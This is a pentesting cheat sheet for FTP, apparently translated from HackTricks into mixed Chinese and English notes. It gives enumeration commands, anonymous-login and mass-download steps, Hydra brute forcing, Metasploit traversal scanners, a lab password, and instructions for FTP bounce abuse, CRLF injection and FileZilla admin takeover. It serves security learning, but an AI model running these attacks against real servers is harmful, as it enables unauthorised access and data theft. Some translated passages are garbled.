21 Pentesting FTP
Basic Information
文件传输协议 (FTP) 是一种标准网络协议,用于在计算机网络上的客户端和服务器之间传输计算机文件。 它是一种纯文本协议,用作换行符 0x0d 0x0a,因此有时您需要使用 telnet
或 nc -C
进行连接。
Default Port: 21
Connections Active & Passive(被动)
在主动 FTP 中,FTP 客户端首先启动从其端口 N 到 FTP 服务器命令端口 - 端口 21 的控制连接。客户端然后侦听端口 N+1 并将端口 N+1 发送到 FTP 服务器。 FTP 服务器随后发起数据连接,从其端口 M 到 FTP 客户端的端口 N+1。
但是,如果 FTP 客户端有防火墙设置来控制来自外部的传入数据连接,那么活动 FTP 可能会成为问题。并且,一个可行的解决方案是被动 FTP。
在Passive FTP中,客户端发起从其N端口到FTP Server的21端口的控制连接。此后,客户端发出 passv 命令。服务器然后向客户端发送其端口号 M 之一。客户端启动从其端口 P 到 FTP 服务器的端口 M 的数据连接。
Source: https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/
Connection debugging
FTP 命令 debug
和 trace
可用于查看通信是如何发生的。
Enumeration
Banner Grabbing
nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
Connect to FTP using starttls
lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password
Unauth enum
With nmap
sudo nmap -sV -p21 -sC -A 10.10.10.10
您可以使用命令 HELP
和 FEAT
获取 FTP 服务器的一些信息:
HELP
214-The following commands are recognized (* =>'s unimplemented):
214-CWD XCWD CDUP XCUP SMNT* QUIT PORT PASV
214-EPRT EPSV ALLO* RNFR RNTO DELE MDTM RMD
214-XRMD MKD XMKD PWD XPWD SIZE SYST HELP
214-NOOP FEAT OPTS AUTH CCC* CONF* ENC* MIC*
214-PBSZ PROT TYPE STRU MODE RETR STOR STOU
214-APPE REST ABOR USER PASS ACCT* REIN* LIST
214-NLST STAT SITE MLSD MLST
214 Direct comments to root@drei.work
FEAT
211-Features:
PROT
CCC
PBSZ
AUTH TLS
MFF modify;UNIX.group;UNIX.mode;
REST STREAM
MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*;
UTF8
EPRT
EPSV
LANG en-US
MDTM
SSCN
TVFS
MFMT
SIZE
211 End
STAT
#Info about the FTP server (version, configs, status...)
Anonymous login
anonymous : anonymous anonymous : ftp : ftp
ftp <IP>
>anonymous
>anonymous
>ls -a # List all files (even hidden) (yes, they could be hidden)
>binary #Set transmission to binary instead of ascii
>ascii #Set transmission to ascii instead of binary
>bye #exit
Brute force
字典 https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
Automated(自动化)
Anon(匿名) login and bounce(弹跳) FTP checks are perform by default by nmap with -sC option or:
nmap --script ftp-* -p 21 <ip>
Browser connection
ftp://anonymous:anonymous@10.10.10.98
请注意,如果 Web 应用程序将用户控制的数据直接发送到 FTP 服务器,您可以发送双重 URL 编码 %0d%0a
(在双重 URL 编码中为 %250d%250a
)字节并使 FTP 服务器执行任意操作。其中一种可能的任意操作是从用户控制的服务器下载内容、执行端口扫描或尝试与其他基于纯文本的服务(如 http)通信。
Download all files from FTP
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
Some FTP commands
FTP Bounce(反弹) attack
某些 FTP 服务器允许命令 PORT。此命令可用于向服务器指示您要在某个端口连接到其他 FTP 服务器。然后,您可以使用它通过 FTP 服务器扫描主机的哪些端口是打开的
Learn here how to abuse(滥用) a FTP server to scan ports.
您还可以滥用此行为使 FTP 服务器与其他协议交互。您可以上传一个包含 HTTP 请求的文件,并让易受攻击的 FTP 服务器将其发送到任意 HTTP 服务器(也许是为了添加一个新的管理员用户?) FTP服务器。 理论很简单: 1. 将请求(在文本文件中)上传到易受攻击的服务器。请记住,如果您想与另一个 HTTP 或 FTP 服务器通信,您需要将行更改为 0x0d 0x0a 2. 使用 REST X 避免发送您不想发送的字符(也许将请求上传到您需要在开头放置一些图像标题的文件中) 3. 使用PORT连接任意服务器和服务 4. 使用 RETR 将保存的请求发送到服务器。
这很可能会引发类似 Socket not writable 的错误,因为连接持续时间不足以使用 RETR 发送数据。尽量避免的建议是: - 如果您要发送 HTTP 请求,请一个接一个地发送相同的请求,直到至少 ~0.5MB。像这样:
port.txt [[网络安全/Users/dark/Downloads/posts.txt]]
- 尝试用与协议相关的“垃圾”数据填充请求(与 FTP 通信可能只是垃圾命令或重复 RETRinstruction 以获取文件)
- 只需在请求中填充大量空字符或其他字符(分行或不分行)
无论如何,这里有一个关于如何滥用它使 FTP 服务器从不同的 FTP 服务器下载文件的旧示例。
Filezilla Server Vulnerability
FileZilla 通常绑定到 FileZilla-Server(端口 14147)的本地管理服务。如果您可以从您的机器创建一个隧道来访问此端口,您可以使用空白密码连接到它并为 FTP 服务创建一个新用户。
Config files
ftpusers
ftp.conf
proftpd.conf
vsftpd.conf
Post-Exploitation(开发后)
vsFTPd 的默认配置可以在 /etc/vsftpd.conf 中找到。在这里,您可以找到一些危险的设置: ![[Pasted image 20221120111537.png]]
Shodan
ftp
port:21
HackTricks Automatic Commands
Protocol_Name: FTP #Protocol Abbreviation if there is one.
Port_Number: 21 #Comma separated if there is more than one.
Protocol_Description: File Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for FTP
Note: |
Anonymous Login
-bi <<< so that your put is done via binary
wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
^^to download all dirs and files
wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled
https://book.hacktricks.xyz/pentesting/pentesting-ftp
Entry_2:
Name: Banner Grab
Description: Grab FTP Banner via telnet
Command: telnet -n {IP} 21
Entry_3:
Name: Cert Grab
Description: Grab FTP Certificate if existing
Command: openssl s_client -connect {IP}:21 -starttls ftp
Entry_4:
Name: nmap ftp
Description: Anon login and bounce FTP checks are performed
Command: nmap --script ftp-* -p 21 {IP}
Entry_5:
Name: Browser Connection
Description: Connect with Browser
Note: ftp://anonymous:anonymous@{IP}
Entry_6:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -t 1 -l {Username} -P {Big_Passwordlist} -vV {IP} ftp
Entry_7:
Name: consolesless mfs enumeration ftp
Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'